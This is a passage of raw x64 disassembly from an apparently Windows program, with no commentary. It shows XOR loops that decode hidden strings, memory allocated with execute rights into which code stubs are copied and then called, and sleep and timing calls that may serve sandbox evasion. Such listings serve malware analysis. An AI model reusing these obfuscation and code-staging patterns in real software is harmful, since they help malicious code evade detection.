movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140297720]
mov qword [r14 + rax*8 + 0x2960e0], r15
mov qword [r14 + rax*8 + 0x295dc0], r8
inc rax
mov qword [0x140297720], rax
lea rdx, [rsp + 0x540]
lea rcx, [fcn.1401fb240]
call r8
mov dword [rsp + 0xd30], eax
xor rbx, r13
mov qword [rsp + 0xd50], rbx
lea rax, [rsp + 0x62c8]
mov qword [rax], rbx
lea rcx, [rsp + 0x718]
call fcn.140248aa0
movups xmm4, xmmword [0x14027d7b0]
movups xmmword [rsp + 0x2b8], xmm4
movzx eax, word [0x14027d7c0]
mov word [rsp + 0x2c8], ax
cmp byte [0x14027d7c1], 0
je 0x140237f4c
mov r9d, esi
cmp r12d, 2
jl 0x140237ef0
movdqa xmm2, xmm9
punpckldq xmm2, xmm9
movdqa xmm1, xmm9
punpckhdq xmm1, xmm9
movdqa xmm3, xmm2
pmuldq xmm3, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
movdqa xmm1, xmm9
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd ecx, xmm6
movd xmm0, ecx
paddb xmm2, xmm0
movd eax, xmm4
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rsp + 0x2b8], xmm2
movdqa xmm2, xmm11
punpckldq xmm2, xmm11
movdqa xmm1, xmm11
punpckhdq xmm1, xmm11
movdqa xmm3, xmm2
pmuldq xmm3, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
movdqa xmm1, xmm11
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x2bc]
xorps xmm2, xmm1
movd dword [rsp + 0x2bc], xmm2
movdqa xmm2, xmm12
punpckldq xmm2, xmm12
movdqa xmm1, xmm12
punpckhdq xmm1, xmm12
movdqa xmm3, xmm2
pmuldq xmm3, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm2, xmm12
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
movdqa xmm1, xmm12
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x2c0]
xorps xmm2, xmm1
movd dword [rsp + 0x2c0], xmm2
movdqa xmm2, xmm15
punpckldq xmm2, xmm15
movdqa xmm1, xmm15
punpckhdq xmm1, xmm15
movdqa xmm3, xmm2
pmuldq xmm3, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm2, xmm15
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
movdqa xmm1, xmm15
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x2c4]
xorps xmm2, xmm1
movd dword [rsp + 0x2c4], xmm2
mov r9d, 0x10
mov eax, r9d
lea r10, [rsp + 0x2b8]
add r10, rax
nop
mov eax, 0x22b63cbf
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x3b
mov eax, 0xb2b78c13
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
sub cl, r8b
add cl, 0x20
add cl, r9b
add cl, cl
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x12
jl 0x140237f00
xorps xmm0, xmm0
movups xmmword [rsp + 0x798], xmm0
mov qword [rsp + 0x7a8], rsi
mov qword [rsp + 0x7b0], rsi
lea rax, [rsp + 0x2b8]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140237f76
lea rdx, [rsp + 0x2b8]
lea rcx, [rsp + 0x798]
call fcn.14020c680
nop
lea rcx, [rsp + 0x798]
call fcn.1401fc2b0
mov qword [rsp + 0x548], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0xdb8], xmm0
lea rax, [rsp + 0x62c8]
mov qword [rsp + 0xdc0], r13
mov qword [rsp + 0xdc8], rax
mov rbx, qword [rax]
xor rbx, r13
mov qword [rsp + 0xdb8], rbx
mov qword [rax], rsi
mov ecx, esi
mov rax, qword [0x1402960e0]
test rax, rax
je 0x140238019
mov rdx, rsi
cmp rax, r15
je 0x140238008
inc ecx
mov edx, ecx
mov rax, qword [r14 + rcx*8 + 0x2960e0]
test rax, rax
jne 0x140237ff0
jmp 0x140238019
mov r8, qword [r14 + rdx*8 + 0x295dc0]
test r8, r8
jne 0x1402380ff
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140238042
mov r8, rsi
jmp 0x1402380de
mov rax, r15
mov rcx, r8
mov edx, 3
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140238050
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140297720]
mov qword [r14 + rax*8 + 0x2960e0], r15
mov qword [r14 + rax*8 + 0x295dc0], r8
inc rax
mov qword [0x140297720], rax
lea rdx, [rsp + 0x548]
lea rcx, [fcn.1401fb240]
call r8
mov dword [rsp + 0x180], eax
xor rbx, r13
mov qword [rsp + 0xdb8], rbx
lea rax, [rsp + 0x62c8]
mov qword [rax], rbx
lea rcx, [rsp + 0x798]
call fcn.140248aa0
cmp dword [rsp + 0xd30], 0
jne 0x140238153
cmp dword [rsp + 0x180], 0
je 0x140238310
mov rbx, qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rsp + 0x1a8], 0x7d0
xorps xmm0, xmm0
movups xmmword [rsp + 0xe38], xmm0
lea rcx, [rsp + 0x62c8]
mov qword [rsp + 0xe40], r13
mov qword [rsp + 0xe48], rcx
mov rax, qword [rcx]
xor rax, r13
mov qword [rsp + 0xd30], rax
mov qword [rsp + 0xe38], rax
mov qword [rcx], rsi
mov ecx, esi
mov rax, qword [0x140295120]
test rax, rax
je 0x1402381e9
mov rdx, rsi
lea r8, [0x14024a780]
nop dword [rax]
cmp rax, r8
je 0x1402381d8
inc ecx
mov edx, ecx
mov rax, qword [r14 + rcx*8 + 0x295120]
test rax, rax
jne 0x1402381c0
jmp 0x1402381e9
mov r8, qword [r14 + rdx*8 + 0x297400]
test r8, r8
jne 0x1402382d7
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140238212
mov r8, rsi
jmp 0x1402382af
lea rax, [0x14024a780]
mov rcx, r8
mov edx, 3
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140238221
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140295a90]
lea rcx, [0x14024a780]
mov qword [r14 + rax*8 + 0x295120], rcx
mov qword [r14 + rax*8 + 0x297400], r8
inc rax
mov qword [0x140295a90], rax
lea rdx, [rsp + 0x1a8]
mov rcx, rbx
call r8
nop
mov rax, qword [rsp + 0xd30]
xor rax, r13
mov qword [rsp + 0xe38], rax
lea rcx, [rsp + 0x62c8]
mov qword [rcx], rax
jmp 0x140237720
lea r15, [0x14024a750]
mov eax, dword [0x14027cb9c]
mov dword [rsp + 0x8c], eax
movzx eax, word [0x14027cba0]
mov rbx, rdi
mov word [rsp + 0x90], ax
mov byte [rsp + 0x8c], 0x4f
xor byte [rsp + 0x8d], 0x42
xor byte [rsp + 0x8e], 0x44
xor byte [rsp + 0x8f], 0x46
xor byte [rsp + 0x90], 0x48
xor byte [rsp + 0x91], 0x4a
lea rax, [rsp + 0x8c]
mov qword [rsp + 0x550], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0xd50], xmm0
lea rcx, [rsp + 0x62c8]
mov qword [rsp + 0xd58], r13
mov qword [rsp + 0xd60], rcx
mov rax, qword [rcx]
xor rax, r13
mov qword [rsp + 0xd30], rax
mov qword [rsp + 0xd50], rax
mov qword [rcx], rsi
mov ecx, esi
mov rax, qword [0x140295aa0]
test rax, rax
je 0x1402383ec
mov rdx, rsi
lea r8, [0x14024a750]
cmp rax, r8
je 0x1402383db
inc ecx
mov edx, ecx
mov rax, qword [r14 + rcx*8 + 0x295aa0]
test rax, rax
jne 0x1402383c3
jmp 0x1402383ec
mov r8, qword [r14 + rdx*8 + 0x294790]
test r8, r8
jne 0x1402384e6
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140238415
mov r8, rsi
jmp 0x1402384be
lea rax, [0x14024a750]
mov rcx, r8
mov edx, 3
nop dword [rax]
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140238430
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140294de8]
lea rcx, [0x14024a750]
mov qword [r14 + rax*8 + 0x295aa0], rcx
mov qword [r14 + rax*8 + 0x294790], r8
inc rax
mov qword [0x140294de8], rax
lea rdx, [rsp + 0x550]
mov rcx, rbx
call r8
nop
mov rax, qword [rsp + 0xd30]
xor rax, r13
mov qword [rsp + 0xd50], rax
lea rcx, [rsp + 0x62c8]
mov qword [rcx], rax
movups xmm0, xmmword [0x14027ddb8]
movups xmmword [rsp + 0x438], xmm0
movsd xmm0, qword [0x14027ddc8]
movsd qword [rsp + 0x448], xmm0
mov eax, dword [0x14027ddd0]
mov dword [rsp + 0x450], eax
movzx eax, word [0x14027ddd4]
mov word [rsp + 0x454], ax
movzx eax, byte [0x14027ddd6]
mov byte [rsp + 0x456], al
mov r9d, esi
cmp r12d, 2
jl 0x14023870d
movdqa xmm0, xmmword [rsp + 0xd70]
movdqa xmmword [rsp + 0xd30], xmm0
lea rcx, [rsp + 0x43c]
mov edx, dword [rsp + 0xd30]
nop dword [rax + rax]
movd xmm4, r9d
pshufd xmm4, xmm4, 0
paddd xmm4, xmm9
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
psubd xmm4, xmm0
andps xmm4, xmm10
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm1, xmm0
movd dword [rcx - 4], xmm1
lea eax, [r9 + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm9
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
psubd xmm4, xmm0
andps xmm4, xmm10
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x18
jl 0x140238590
cmp r9d, 0x1f
jge 0x14023876c
movsxd rax, r9d
lea r10, [rsp + 0x438]
add r10, rax
nop dword [rax + rax]
mov eax, 0x22b63cbf
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x3b
mov eax, 0xb2b78c13
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
sub cl, r8b
add cl, 0x20
add cl, r9b
add cl, cl
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x1f
jl 0x140238720
lea rax, [rsp + 0x438]
mov qword [rsp + 0x888], rax
lea rcx, [rsp + 0x438]
mov rax, 0xffffffffffffffff
nop dword [rax + rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x140238790
mov qword [rsp + 0x890], rax
movups xmm6, xmmword [rsp + 0x888]
call fcn.14026d15c
movaps xmmword [rsp + 0xd30], xmm6
lea r8, [rsp + 0xd30]
mov edx, eax
lea rcx, [rsp + 0x8d8]
call fcn.1401f2fd0
nop
lea rcx, [rsp + 0x8d8]
call fcn.1401f36f0
movzx ebx, al
lea rcx, [rsp + 0x8d8]
call fcn.1402489a0
test bl, bl
jne 0x14023907e
mov edx, 0x18
lea rcx, [rsp + 0xfd0]
call fcn.1401f9970
movups xmm0, xmmword [0x14027cf90]
movups xmmword [rsp + 0x498], xmm0
movsd xmm0, qword [0x14027cfa0]
movsd qword [rsp + 0x4a8], xmm0
mov eax, dword [0x14027cfa8]
mov dword [rsp + 0x4b0], eax
movzx eax, word [0x14027cfac]
mov word [rsp + 0x4b4], ax
movzx eax, byte [0x14027cfae]
mov byte [rsp + 0x4b6], al
mov r9d, esi
movdqa xmm6, xmmword [rsp + 0xd70]
cmp r12d, 2
jl 0x1402389fd
movdqa xmmword [rsp + 0xd30], xmm6
lea rcx, [rsp + 0x49c]
mov edx, dword [rsp + 0xd30]
nop dword [rax]
movd xmm4, r9d
pshufd xmm4, xmm4, 0
paddd xmm4, xmm9
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
psubd xmm4, xmm0
andps xmm4, xmm10
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm1, xmm0
movd dword [rcx - 4], xmm1
lea eax, [r9 + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm9
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
psubd xmm4, xmm0
andps xmm4, xmm10
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x18
jl 0x140238880
cmp r9d, 0x1f
jge 0x140238a5c
movsxd rax, r9d
lea r10, [rsp + 0x498]
add r10, rax
nop dword [rax + rax]
mov eax, 0x22b63cbf
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x3b
mov eax, 0xb2b78c13
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
sub cl, r8b
add cl, 0x20
add cl, r9b
add cl, cl
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x1f
jl 0x140238a10
movsd xmm0, qword [str._606_pcaP]
movzx eax, byte [0x14027cf88]
movsd qword [rsp + 0x120], xmm0
mov byte [rsp + 0x120], 0x68
xor byte [rsp + 0x121], 0x42
xor byte [rsp + 0x122], 0x44
xor byte [rsp + 0x123], 0x46
xor byte [rsp + 0x124], 0x48
xor byte [rsp + 0x125], 0x4a
xor byte [rsp + 0x126], 0x4c
xor byte [rsp + 0x127], 0x4e
xor al, 0x50
mov byte [rsp + 0x128], al
lea r8, [0x140294508]
lea rdx, [rsp + 0x120]
lea rcx, [rsp + 0xbf0]
call fcn.14024a8e0
nop
lea r8, [rsp + 0x498]
mov rdx, rax
lea rcx, [rsp + 0xc10]
call fcn.140249bc0
nop
mov rdx, rax
lea rcx, [rsp + 0xc30]
call fcn.14020a930
nop
mov rdx, rax
lea rcx, [rsp + 0xfd0]
call fcn.1401fb070
nop
lea rcx, [rsp + 0xc30]
call fcn.140248aa0
nop
lea rcx, [rsp + 0xc10]
call fcn.140248aa0
nop
lea rcx, [rsp + 0xbf0]
call fcn.140248aa0
xor edx, edx
mov r8d, 0x108
lea rcx, [rsp + 0x12b0]
call fcn.14026eb14
movups xmm0, xmmword [0x14027ddb8]
movups xmmword [rsp + 0x4b8], xmm0
movsd xmm0, qword [0x14027ddc8]
movsd qword [rsp + 0x4c8], xmm0
mov eax, dword [0x14027ddd0]
mov dword [rsp + 0x4d0], eax
movzx eax, word [0x14027ddd4]
mov word [rsp + 0x4d4], ax
movzx eax, byte [0x14027ddd6]
mov byte [rsp + 0x4d6], al
mov r9d, esi
cmp r12d, 2
jl 0x140238d4d
movdqa xmmword [rsp + 0xd30], xmm6
lea rcx, [rsp + 0x4bc]
mov edx, dword [rsp + 0xd30]
nop dword [rax]
nop word [rax + rax]
movd xmm4, r9d
pshufd xmm4, xmm4, 0
paddd xmm4, xmm9
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
psubd xmm4, xmm0
andps xmm4, xmm10
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm1, xmm0
movd dword [rcx - 4], xmm1
lea eax, [r9 + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm9
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
psubd xmm4, xmm0
andps xmm4, xmm10
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x18
jl 0x140238bd0
cmp r9d, 0x1f
jge 0x140238dac
movsxd rax, r9d
lea r10, [rsp + 0x4b8]
add r10, rax
nop dword [rax + rax]
mov eax, 0x22b63cbf
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x3b
mov eax, 0xb2b78c13
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
sub cl, r8b
add cl, 0x20
add cl, r9b
add cl, cl
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x1f
jl 0x140238d60
mov r8d, 0x20
lea rdx, [rsp + 0x4b8]
lea rcx, [rsp + 0x12b0]
call fcn.140243e30
nop
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rsp + 0x4e64], 0xffffffff
mov dword [rsp + 0x3ae4], eax
mov edx, 1
nop word [rax + rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rsp + rdx*4 + 0x3ae4], eax
inc rdx
cmp rdx, 0x270
jb 0x140238df0
mov dword [rsp + 0x3ae0], 0x270
mov dword [rsp + 0xdb0], 0xffffff9c
mov dword [rsp + 0xdb4], 0x64
mov dword [rsp + 0x70], esi
lea rcx, [rsp + 0xd30]
call fcn.1401f2240
mov rbx, qword [rsp + 0xd30]
add rbx, 0x5f5e100
mov qword [rsp + 0x178], rbx
nop dword [rax + rax]
lea rcx, [rsp + 0x8c0]
call fcn.1401f2240
cmp qword [rax], rbx
jge 0x140239029
mov qword [rsp + 0x188], 0x186a0
mov ecx, dword [rsp + 0xdb0]
btc ecx, 0x1f
mov dword [rsp + 0xd30], ecx
mov eax, dword [rsp + 0xdb4]
btc eax, 0x1f
